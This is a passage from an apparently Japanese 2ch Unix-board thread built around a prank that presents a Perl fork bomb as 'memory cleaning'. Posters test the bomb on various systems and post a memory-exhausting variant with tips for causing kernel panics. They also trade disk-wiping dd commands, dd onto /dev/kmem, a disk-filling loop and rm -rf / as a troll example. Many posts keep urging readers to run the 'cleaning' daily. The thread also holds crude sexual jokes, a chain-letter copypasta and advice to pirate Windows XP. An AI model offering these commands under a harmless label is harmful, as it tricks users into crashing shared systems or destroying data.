おれは, 一度火をいれた disk はよほどのことがな
い限り電源落さないけど...

# 冷却はしっかりやっとく必要はあるけど...
NGNG
>>408
そうしたところで、Win程遅くなることはないよ
LinuxにしてもFreeBSDにしてもね。

うちのLinuxはkernel読み出してから7秒後にログイン可能だ。
環境が許せば、LinuxBIOSなんてのを使うと3秒程度になるらしい。

Pentium 130Mhz
Mem 48MB
HDDはDMA無し

#Win2kだと3分以上はかかる。XPはインストールしようとすら思わなかった。
412名無しさん＠お腹いっぱい。
垢版 |
NGNG
XPは2秒で起動する！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
NGNG
ｳｿﾂｷｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
414名無しさん＠お腹いっぱい。
垢版 |
NGNG
クロレッツXP
NGNG
ケンシロウでも２秒は無理。
NGNG
>>1
すばらしい。うまくいったよ。
お礼にディスククリーニング法を教えてあげる。

# dd if=/dev/zero of=(以下略
NGNG
それ廃棄前にやってたなぁ。
ある意味クリーニング。

女の子が下着捨てるまえに洗濯してハサミで細切れにするのと似たようなもんだ。
NGNG
>>417
そんな女嫌だなぁ。
NGNG
>>417
それだったら/dev/zeroよりも/dev/urandomのほうがよくないかな。
ほんとうはさらにこれのXORを書いて、さらに/dev/urandomがよかったような...
# dd if=/dev/urandom of=あぼーん対象ディスク

でも、女の子が下着を捨てるときにはさみで細切れというのは聞いたことがあるな。
個人情報が書かれたものを捨てるときにシュレッダーにかけるのと同じようなもんだと
思うからもれはさほど抵抗はないが。
もれの女の下着で他の男にハァハァされるのは嫌だし。
NGNG
コマンドを最後までかかない>>416は小心者。

たしかにやっちゃう人出そうだけれども。
NGNG
>>418はそんなことされるとオカズがなくなっちゃうからムカツク
そのまま捨てろ と言いたいのではなかろうか。
422名無しさん＠お腹いっぱい。
垢版 |
NGNG
変態が集うスレはここですか？
NGNG
変態は418だけで十分です
424418
垢版 |
NGNG
なんで俺が変態なんだよー
NGNG
>>424
>>421の解釈が客観的にみて妥当だから
426418
垢版 |
NGNG
>>425
ただ俺は、そんな自意識過剰な女は嫌だってだけなんだけどね。

もう、そんなことを言ってももう聞いてもらえませんね。
すまなかったよ。変態として生きていきます。
NGNG
もう来るなよ、変態。
NGNG
>>426
ねた的には変態とののしっていたほうが面白いのだが、
たしかに自意識過剰な女は嫌だね。
自分に誇るべき価値は女であるということだけなのに3高を望んでたりすると
逝ってよしと思うしな。
429名無しさん＠お腹いっぱい。
垢版 |
NGNG
3高
NGNG
個人を特定したパンツ泥棒というより
無差別的な泥棒の場合

女自身よりもパンツがそのまま捨てらている事自体が
泥棒を呼ぶエサになる。
周囲の人達の迷惑も考えて、「私のパンツだから盗まれるかもしれない」ではなく
「パンツをそのまま捨てたせいで、変態が寄ってきては大変だ」という意識であると思われる。
431名無しさん＠お腹いっぱい。
垢版 |
NGNG
パンツをそのまま捨てると野良パンツが寄って来て住み着いたりする。
夜中に大勢集まってにーにーとパンツ会議を始めてうるさい。
それだけならまだしも子を産んで増えたりすると大変。

　だ　か　ら　切　り　刻　ん　で　捨　て　て　や　る　の　さ
NGNG
ワイルドパンツに生存権を！！
- 野良ぱんつの蒸れがデモ行進
NGNG
土曜の午後仕事で洗濯機を走らせていた
洗濯カゴからはみ出すブラ＆ズロース
昔よくマスかいたパンティー

へへいへい♪
NGNG
変態が居座っているスレはここですか?
NGNG
ぱんつ(キミ)を見つけたこの渚に
ひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん

股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
NGNG
>>431
死ね気違い
437名無しさん＠お腹いっぱい。
垢版 |
NGNG
8243931931
438名無しさん＠お腹いっぱい。
垢版 |
NGNG
ぱんつのしみくさいくさい
NGNG
うちのパンツしりませんか？
NGNG
>>436
>>437
板違い
441名無しさん＠お腹いっぱい。
垢版 |
NGNG
パンツを切り刻んでる姿を想像してボッキした香具師挙手
NGNG
マゾっけのある変態がいるスレはここですか?
443名無しさん＠お腹いっぱい。
垢版 |
NGNG
サドっけがあります
444名無しさん＠お腹いっぱい。
垢版 |
NGNG
佐渡それは悲しい佐賀
445名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>439
僕の右手知りませんか？
446名無しさん＠お腹いっぱい。
垢版 |
NGNG
神の左手悪魔の右手
NGNG
>>445
行方不明になったのか？
NGNG
ミギーか手っちゃんなんだろ、>>445の右手は。
NGNG
(゜o゜ ) ………
NGNG
( ﾟдﾟ)ﾎﾟｶｰﾝ
451名無しさん＠お腹いっぱい。
垢版 |
NGNG
( ﾟдﾟ)ｶﾎﾟｰﾝ
452名無しさん＠お腹いっぱい。
垢版 |
NGNG
男でもパンツは切り刻んでから捨てろ。
変態ホモにﾊｧﾊｧされてるかもしれないぞ。
453ホモ
垢版 |
NGNG
>>452
むしろ光栄だな
454名無しさん＠お腹いっぱい。
垢版 |
NGNG
ホモはホモサピエンスの略である。
NGNG
ホモはホモ牛乳の略である。
456名無しさん＠お腹いっぱい。
垢版 |
NGNG
ユニックスにメモリクリーニングなど必要ない!!




ーーーーーーー糸冬了ーーーーーーー
NGNG
>>456
生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。
458名無しさん＠お腹いっぱい。
垢版 |
NGNG
ついでに石鹸水でジャブジャブ洗っとけ
NGNG
>>457
もれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。
460名無しさん＠お腹いっぱい。
垢版 |
NGNG
( ﾟдﾟ)ﾎﾟｶｰﾝ
461名無しさん＠お腹いっぱい。
垢版 |
NGNG
クリーニングしない椰子はPCから発火して焼け氏ね。
NGNG
ddでディスククリーニングしちゃった香具師はいますか
NGNG
クリーニングディスクにクリーニング液を数滴(湿式)
ドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200
464名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>463
> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200

間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000
NGNG
>>464
この板でそのOSの名前出すと
変なのがよりあつまってきますよ
NGNG
>>465
「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。

Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。
NGNG
あんたが正解。
最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。
468名無しさん＠お腹いっぱい。
垢版 |
NGNG
ドル箱を積みましょう。
469名無しさん＠お腹いっぱい。
垢版 |
NGNG
ジャンジャンバリバリ
470名無しさん＠お腹いっぱい。
垢版 |
NGNG
あの・・・
Windowsって何ですか？
そんな古臭いＯＳなんてもう使えませんよ。

ま、ともかく
＊WindowsXPプリインストールＰＣを買う奴：気違い
＊WindowsXPを買う奴：世界の経済を狂わせる奴
＊WindowsXPをMXとかからダウンロードする奴：世界経済を安定化させる勇者

どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。

それでなければ、OpenBSDでもインストール汁

471名無しさん＠お腹いっぱい。
垢版 |
NGNG
M$に嫉妬するなよ。
NGNG
釣れた釣れた
NGNG
OpenBSDって近頃やっとELFに移行した時代遅れさんでしょ？
NGNG
>>470
独り言はhttp://etc.2ch.net/hikky/でやってくれ。

>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。
NGNG
>>474
煽りに親切すぎ
でも勉強になった
476名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナックス氏ね
NGNG
だから、そのスクリプトを入力をすれば氏ぬってば
NGNG
死なないんですけど
NGNG
$ perl -e 'while (1) { fork; }'
で、氏なないってのかい？
NGNG
死なないな
つか、frokしただけで死ぬかよ
NGNG
>>479
スレをよく嫁
ｶﾞｲｼｭﾂすぎてつまらん新しいネタもってこいやヴォケ
NGNG
>>479
15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた

これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが
NGNG
犬のことはよく知らんけど、一つの親から作れる子プロセス数に制限があるのかな?
uname -aしてkernelのバージョンいくつか教えて。
NGNG
>>483
Linux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個？
2.4.20-ck6でも検証したけど同じく死なないよ。

たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの？
NGNG
いや、プロセステーブルを使い切って死ぬという話だったと思うよ。
ちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。

何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?
NGNG
>>485
rootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。

その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。

その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。

どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)

ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。
NGNG
debianは氏んだ
NGNG
単にforkするよりも大量にスレッド生成するプロセスをforkしまくって
猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う
NGNG
>>487
氏ななかったよ。

% uname -r
2.6.0-test10
490名無しさん＠お腹いっぱい。
垢版 |
NGNG
ち……………ちんこ！
491名無しさん＠お腹いっぱい。
垢版 |
NGNG
まんこ！
492名無しさん＠お腹いっぱい。
垢版 |
NGNG
なんじゃこりゃあああああああああああああああああああああ
かたまった！！！！！！！！！！！！！！！！！！！！！！！！
493名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>492が勃起したらしいです
494名無しさん＠お腹いっぱい。
垢版 |
NGNG
つーことで
そろそろまとめろや
os ver user root
でいいから書きやがれ
NGNG
プロセス無限増殖で落ちるのはWinとDOSくらいでしょ
NGNG
RedHat9 kernel2.4.20 user落ちない　root落ちる　（userでも落とせなくはない）
NGNG
Debian woody kernel 2.4.23 user 落ちない root 落ちない
Debian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない

番外
FreeBSD 4.8R user 落ちない root 落ちない
NGNG
>プロセス無限増殖で落ちるのはWinとDOSくらいでしょ

DOS???
499_
垢版 |
NGNG
>>398
Appollo Domain の Aegisには ACLはいってましたが？
つーか、それだって最初じゃないよなぁ。

古れすすまんのぉ。
500_
垢版 |
NGNG
>>488
確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。

vmのいじめ方しらない香具師おおいな。
NGNG
知ってる人ｷﾀ━ヾ(　 　)ﾉ゛ヾ(　ﾟд)ﾉ゛ヾ(ﾟдﾟ)ﾉ゛ヾ(дﾟ　)ﾉ゛ヾ(　　)ﾉ゛━━!!

じゃあ、そのイジメかたとやらを書いてみてはいかが？
502_
垢版 |
NGNG
userland で簡単なのは実際にメモリを使えばいいわけだから
perl -e 'while(1){local($time)=time; fork;}'
かな？　とりあえず使い切るまでメモリつかってくれるはず。

途中で新プロセスがメモリ使えなくなってkillされるけど、懲りずに
つづけてれば既存processやdaemon processで新規ページがとれずに
そっちがkillされはじめるよ。

limitでプロセス制限かかってるなら、消費するメモリサイズを大きめに
とること。逆にいうと、管理者はdatasizeとmaxprocを適切に管理する事。
503_
垢版 |
NGNG
また、古い（いまも残ってる）system だと datasizeはexecとmmap時にしか
参照しないんで、datasizeよりちょい少なめでmallocかけると実際にメモリ
（Swap込み）が足りなくても allocateは成功する。

で、古いvm（mach64 vmベースでいまも残ってるかも）だと page 使い切った
時点で panic するから、これやるとかたまるどころかkernel panicまで
もちこめるよ。

ためしてみそ。
NGNG
ためしてみそといわれても、さすがに古いシステムさがすの大変なんだが
505名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナックスは落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
506名無しさん＠お腹いっぱい。
垢版 |
NGNG
ウィンドウズは何もしなくても落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
507名無しさん＠お腹いっぱい。
垢版 |
NGNG
メモリの掃除ぐらいしろ
NGNG
ぼくの部屋も掃除が必要です。
509名無しさん＠お腹いっぱい。
垢版 |
NGNG
害虫駆除業者が必要です。
510名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナックスはうんこ
そろそろ認めろよ
NGNG
じゃ、なにが、もすすめだね？
512名無しさん＠お腹いっぱい。
垢版 |
NGNG
Ｗｉｎｄｏｗｓ
NGNG
>>512
せめてLinux以上の物を言ってくれ
NGNG
ソラリスは？
NGNG
LinuxがいつWindows以上になったんだ？
NGNG
>>515
激しく同意。
NGNG
>>515
そういう事は、MSがマトモなOS作ってから言いましょうね。
Windowsと比較するのは、他のOSにとって失礼に値しますよ。
Winマンセーなら窓板だけでやっててください。
518名無しさん＠お腹いっぱい。
垢版 |
NGNG
いや、そもそもWindowsに安定性求めるなんて筋違いもいいところだよ
むしろWindowsにそんな求める連中は死んでくれ。
売れたもんが正義なんだよ。
NGNG
ぶっちゃけ負荷耐性と安定性はWindowsは今のところ最低レベル。
他のOSが特別凄いんじゃなくて、Windowsが異常にダメ。
スケーラビリティも最悪、そもそもOSレベルで要求するスペックが高すぎてお話にならない。
どんなに資源増やしてもあっという間に食いつくしてしまう点も最悪

犬叩きしたいなら、せめてFreeBSDか商用Unixとの比較じゃないと無理。

それに何も負荷耐性だの安定性だので勝負しなくても、WindowsはGUI周りのパフォーマンスは今のところ一番高いし、UIはそこそこ扱い易いし
クライアント用OSとしてはデファクトスタンダードだし
とくに引け目を感じる事はないと思うけどね。
個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
高負荷になって落ちても、気にせず再起動すればいいんだし
不正終了してファイル壊れたって気にしないでフォーマットして再インスコしちゃえばいいんだしさ。
脆弱性の事だって、こんだけセキュリティについて騒がれてるのに
そんな事は一切気にせず穴だらけのままWindows updateしない人だっているんだから
Windowsユーザー内に限っては脆弱性なんて殆ど問題視されてないともいえる。
だから穴だらけでも全然OKなんだから気にする事はない。
ただ周りが迷惑するだけなんだから、MSを見習って細かい事は気にせず周りに迷惑かかっても知ったこっちゃねーよくらいの勢いのほうがいい。
NGNG
>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
何よりＭ＄が気にしていない罠
NGNG
>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
>高負荷になって落ちても、気にせず再起動すればいいんだし
その感覚を最大限に刷り込まれた馬鹿どもが、サービス機材を安易に
リセットしたがるようになったのは最低に痛いよ。
原因探れないから予防策もとれねー。
NGNG
>>521
そういうのはMSがいる限りどうしようもないと思ってあきらめれ
NGNG
>>521
まあ、Windows 95,98のころに「Windows おかしくなったら　再起動」という習慣がついていた人は多いだろうからね。
実際、当時は24時間連続稼動するのはほとんど行われていなかったと思うし。

余談だけれどPCでUnixもどきOSを動かすのが普及したからか、
教育用UnixマシンをX端末から使っている学生が
「家のLinuxでログアウトするときはshutdown -h nowって打ってるんですけど、ここのは打っても変なメッセージが出てきてログアウトできないんですけど」
と言ったのには驚いた。
shutdownのコマンドの意味について小一時間ほどお説教したのは言うまでもないことだが。
NGNG
>まあ、Windows 95,98のころに「Windows おかしくなったら　再起動」という習慣がついていた人は多いだろうからね。
つーか、今も昔もそれは常識。

おかしくなったら再起動
壊れたかなと思ったら再インスコ

一番手っ取り早くて、確実
誰も迷わないし、下手に苦労するよりも解決は早い
マメにバックアップとっておけばデータの復旧も楽。

ユーザーに手段を与えず、作業を単一化してしまうことで
無駄な問題の発生を抑えてる。
525名無しさん＠お腹いっぱい。
垢版 |
NGNG
ＬＩＮＵＸは落ちまくり！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
NGNG
必死だな
NGNG
Mac　OSXも糞重くなったけど落ちませんね。
528名無しさん＠お腹いっぱい。
垢版 |
NGNG
ＬＩＮＵＸはゴミ！
NGNG
お受験のお子さんのお守りにMac OS X、
片思いのお子さんのお守りにLinuxいかがですか。
今ならどちらもお求め安くなっていますよ。
NGNG
32bit藁人形 = Windows
16bit藁人形 = DOS
531名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>1
自分のPCでは一日一回実行してる。
532名無しさん＠お腹いっぱい。
垢版 |
NGNG
嘘つきぃ…
533名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナックスはょわぃ
NGNG
Windowsは直ってないバグの数とセキュリティホール,そして一年間の再起動の回数で最強
どれも最多
NGNG
「Windowsは」ってひとくくりにできるDQNなセンスに乾杯
NGNG
「リナックスは」ってひとくくちにできるDQNなセンスに乾杯
NGNG
ひとくくち ×
ひとくくり ◯
NGNG
再起動の回数は最強だな。
539名無しさん＠お腹いっぱい。
垢版 |
NGNG
2004年
Windowsに超高速再起動が実装されるであろう。
NGNG
>>539
いや、一端メモリ内容をファイルに退避させたのち
全てのメモリを一時的に開放
そしてそのままの状態でkernelの再マッピングを行うようになるだろ。

オンデマンドリブート？
541名無しさん＠お腹いっぱい。
垢版 |
NGNG
2004年宇宙の旅
542名無しさん＠お腹いっぱい。
垢版 |
NGNG
あああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああ
543名無しさん＠お腹いっぱい。
垢版 |
NGNG
メモリクリーニング屋はどこですか？
544名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>1
>>1
>>1
>>1
>>1
>>1
>>1
NGNG
>>539
そうかもね。BIOS もなくなりそうだし。
NGNG
超高速再起動なんていらんから
OSが原因で再起動しなきゃいけないようなケースが発生しないようにしてくれ
547名無しさん＠お腹いっぱい。
垢版 |
NGNG
不可能
NGNG
じゃあせめてWindowsUpdateで当てたパッチのせいで
新しいバグ埋め込まないでくれ
NGNG
ランプの魔人は語りました。
「ご主人様、あなたを世界一の富豪にして差し上げましたし、苦労して嫁も見つけました。
三つ目の願いはなんですか？」
ゲイツはもう十分に幸福だったので、たまには国家の役に立とうと考えました。
「ベトナム戦争でアメリカが勝ったことにしたいんだけど」
魔人は困惑して言います。
「それは無理ではないかと」
「そうか、じゃあ１バージョンだけでいいから、完璧に動くWindowsが欲しいな」
魔人は泣きそうな顔で答えます。
「ご主人様、お願いですからベトナム戦争の方の願いに変えていただけませんか？」
NGNG
ゲイツがやる気になっても完璧に動くWindowsはできないだろうけど
CTO(が誰かは知らん)あたりが、「金と人手と手間をいくらかけてもいいから完璧な物をつくれ、責任は全部 俺がとる」とか言いだしたら
ちゃんとした物は作れるだろ MSなら。
有能な人材はちゃんと確保してるはずだしな。

作ってる最中に、CEOとかCFOとかCMOあたりの目についたら
CTOの首ぶっとんだ挙句に、これまで以上に酷い物に化けそうな悪寒はするが。
551名無しさん＠お腹いっぱい。
垢版 |
NGNG
まあ、MSさんも商売ですから
買う側もMSさんは商売をしている事を理解すべきでしょ

強制的に買わされてる現状がムカツク人はしかたないけど
552名無しさん＠お腹いっぱい。
垢版 |
NGNG
しかたないのか…
NGNG
メーカー製PC買っちゃう人は仕方ないんじゃね？
今は自作したって特別安くあがるわけじゃないし
554名無しさん＠お腹いっぱい。
垢版 |
NGNG
2マソ
NGNG
>>550
CTOだから飛ばされる可能性があるわけで、逆にゲイツが本気で
やろうと思えばできるんじゃない ?
完全じゃないけど、今よりはるかにまともなモノはできると思う。
NGNG
>>555
ﾊﾞｶ？ ゲイツﾀｿは今や会長
MSを一代にして叩きあげた英雄としてのシンボル的価値は十二分にあるが
権利は微妙、経営に口出したとしても「アドバイス」にしかならない。
強制力は全くないよ。

実質的なリーダーはCEOのｷﾁｶﾞｲバルマーだよ。
つまり彼がやると言わない限りｹﾞｲｼがいくら必死にお願いしてもダメポ。

ゲイツが株主連中に働きかける→株主がMSに圧力をかける→バルマーﾀｿはやるしかない
っていう周りくどい方法じゃないと今のゲイツﾀｿの力では動かせんだろな。
それに注力しなくてもWindowsは自動的に売れている現状で、わざわざコスト掛けてまで
本質的な改良を行なう価値を株主連中が理解できるかってのも微妙。
何でもいいからとにかく機能増やしながらバージョン上げていけばオッケーでしょう という結論に落ち着いちゃう可能性が濃厚。
#今もそうだし…

バルマーのいかれた脳味噌が突如変貌して、Windowsを世界最良のOSにしようとか本気で言いださない限り無理だろね。
557名無しさん＠お腹いっぱい。
垢版 |
NGNG
結局ゲイツの力は偉大という事か。
558名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>556
いやあ、あいつはカリスマ性があるから(一代で超巨大企業を作り上げた天才だからね)、
みんなゲイツについていくよ

なんだかんだいって、Windowsはたたかれた点を修正してより良くなってるし

Linux使いは、そもそもLinuxに統合デスクトップやらGUI環境やら直感的で簡単な操作を求めないし、
統一的なAPIや開発環境も求めない
またボランティアに頼るという開発体制からWindowsの技術革新と進化のスピードに追いつけないでしょうね

Microsoftは、Linuxに対抗するために、WindowsをLinuxよりはるかに速い速度で進化させ、
Linuxの追随を許さない、先行逃げ切り型の勝負に出たと思うね
NGNG
なんでゲイツﾏﾝｾｰって嘘吐きが多いんですか？
それとも危い薬とかやってるんですか？
NGNG
>>558は、MSに対する皮肉か？
そんなありもしない事書いても皮肉にしか見えんぞ。

OS板かどっかで
「Windowsは世界最高の安定性と性能を誇り、信頼性抜群。メーカーサポートも充実云々」とかいう書き込みがあったが
それと同じくらい皮肉に満ちてる。

あんまりMSイジメるなよ。優良メーカとは言えないけど
あっちだって商売なんだから叩くなって。
NGNG
>>558
主要なLinux開発者はIBMとかの社員として企業から金もらってやってるわけだが。
それでもボランティアといえるのかい?
NGNG
>>561
IBMだけじゃなくて
OSDLも社員雇ってるし
Redhatも
SuSE(今はNovell)も
金出して開発しとるよ。
SGIもHPも自分のとこの社員をLinux開発に使ってるね。
FSFも一応金かけてやってるよ。

昔からそうだが、Linuxの開発にしてもGNUプロジェクトにしても
ネット上から不定期に協力してくれるボランティアと
FSFなりOSDLなりに常駐して仕事してくれる社員(or バイト or 契約社員)どっちも居る。
ちなみにOSDLは色んなとこから出資を得てるしグッズ販売等の資金源もあるから
金はそこそも持ってるので結構懐は暖い。

ドイツなんかは国をあげてKDEの開発に協力してるしなぁ。

各社が睨みあいながら独自に開発費かけてOSの開発競争するよりは
それぞれ適当な金額とある程度の人員をだしあって
基礎部分は共有しちゃいましょうや的な狙いが強いね。
そもそも基礎部分なんてユーザからしてみりゃなんでもいいんだし。
ちなみにMSも"口だけなら"、それに大賛成しとるよ。
各社がいがみあって似たりよったりな物を作りながら不毛な競争するよりは
共有できる部分は共有してより高次を目指しましょーユビキタスマンセーってね。
ただし言ってる事とやってる事が真逆すぎてﾜｹ ﾜｶ ﾗﾝ♪
563名無しさん＠お腹いっぱい。
垢版 |
NGNG
ゲイツﾏﾝｾｰ
ゲイツﾏﾝｾｰ
ゲイツﾏﾝｾｰ
564名無しさん＠お腹いっぱい。
垢版 |
NGNG
1日1回メモリクリーニング
565名無しさん＠お腹いっぱい。
垢版 |
NGNG
ゲイツの防衛費は日本の防衛費より多いらしい。
566名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>1
氏ね
567名無しさん＠お腹いっぱい。
垢版 |
NGNG
あれっ？skoも参加してなかったか？
568名無しさん＠お腹いっぱい。
垢版 |
NGNG
sco?
569名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>1は神
NGNG
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●不合格●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
これを見た人は確実に【不合格】です。これをコピペでどこかに３回貼れば回避できます。
これは本当です。やらないと一年無駄になります
571名無しさん＠お腹いっぱい。
垢版 |
NGNG
1のコマンドを実行しましたが
画面が止まったままです
ディスクキャッシュが多くてクリーニングに時間かかってんのかな?
かれこれ30分待ってます
どれくらいレスポンスが良くなったのか楽しみです
早くクリーニング終わらないかな
572名無しさん＠お腹いっぱい。
垢版 |
NGNG
わらた
573名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>571
グッジョブ
574名無しさん＠お腹いっぱい。
垢版 |
NGNG
for i in `ps ax | grep perl | cut -f1 -d" " `
575名無しさん＠お腹いっぱい。
垢版 |
NGNG
メモリーパッククリーニング
576名無しさん＠お腹いっぱい。
垢版 |
NGNG
保守age
一日一回メモリークリーニング
577名無しさん＠お腹いっぱい。
垢版 |
NGNG
dirlist="a b c d e f g h i j k l m n o p q r s t u v w x y z"
for i in $dirlist ; do
mkdir -p $i
cd $i
for j in $dirlist ; do
dd if=/dev/zero of=file_$j bs=1024k count=100
done
done
NGNG
>>1
WindowsXP + cygwin + perl で試してみました。
Pen4 1.8GHz + Memory 1GB
物理メモリを食いつぶすまでは動作が緩慢になるだけ
スワップを開始すると完全に固まる
スワップ領域が1GB以上あったのでかたまりっぱなし
さらに途中でスワップ領域を増やすと宣告される
操作不能。マウスは一応動くが。。。Ctrl+Alt+Del不可
そのうちコンソール上に、エラーがぞろぞろ発生。
そして増やしたスワップ領域をも食いつくし
「アプリケーションの初期化に失敗しました。」でperlのプロセスが終了

その後、Ctrl+Alt+Delで予約してあったタスクマネージャー起動

結論：Ctrl+Alt+Del使えね〜
NGNG
報告

赤帽ES3　Pen4/１G/SCSI40GB　うｐデート済

Xでマウスカーソル動かず
コンソール打てず
止められず、勝手に固まる
死亡

以上
NGNG
ちょっとageますよ
581名無しさん＠お腹いっぱい。
垢版 |
NGNG
あがってねー
NGNG
Solaris10
固まった
駄目ぽ
583名無しさん＠お腹いっぱい。
垢版 |
NGNG
毎日メモリクリーニング
584名無しさん＠お腹いっぱい。
垢版 |
NGNG
age
585名無しさん＠お腹いっぱい。
垢版 |
NGNG
だれか root で
# dd if=/dev/zero of=/dev/kmem bs=......
てなことを, やってみてほしい
NGNG
>>571
どんなかんじ？
NGNG
いい感じ。
NGNG
>>587
いい感じにまだ最適化中ですか？
NGNG
このｽﾚﾜﾛﾀ

昔ネズミ講式にforkさせてしまって
悲しいビープ音と共に、あっと今にソラリスを止めてしまったことが・・
NGNG
Solarisでやるとユーザーでもrootでも完全に固まるね。
Solarisはこういうのには弱いのか？
591名無しさん＠お腹いっぱい。
垢版 |
2005/05/07(土) 17:56:55
保守
592名無しさん＠お腹いっぱい。
垢版 |
2005/05/08(日) 01:59:36
ここって釣りスレ？
rm -rf /
のような？
2005/05/08(日) 17:22:56
> 学生Aが「端末のしぼうするぷろぐらむ」 を友人からもらい実行した．
> これは，サーバに負荷をかけて使用不能にするもので，同じサーバを利用していた
> ユーザ数十人が影響をうけた．

ttp://www.ecc.u-tokyo.ac.jp/guide/guidance/
ttp://www.ecc.u-tokyo.ac.jp/guide/guidance/perl.html
594名無しさん＠お腹いっぱい。
垢版 |
2005/05/08(日) 21:10:46

だれか削除依頼お願いします。
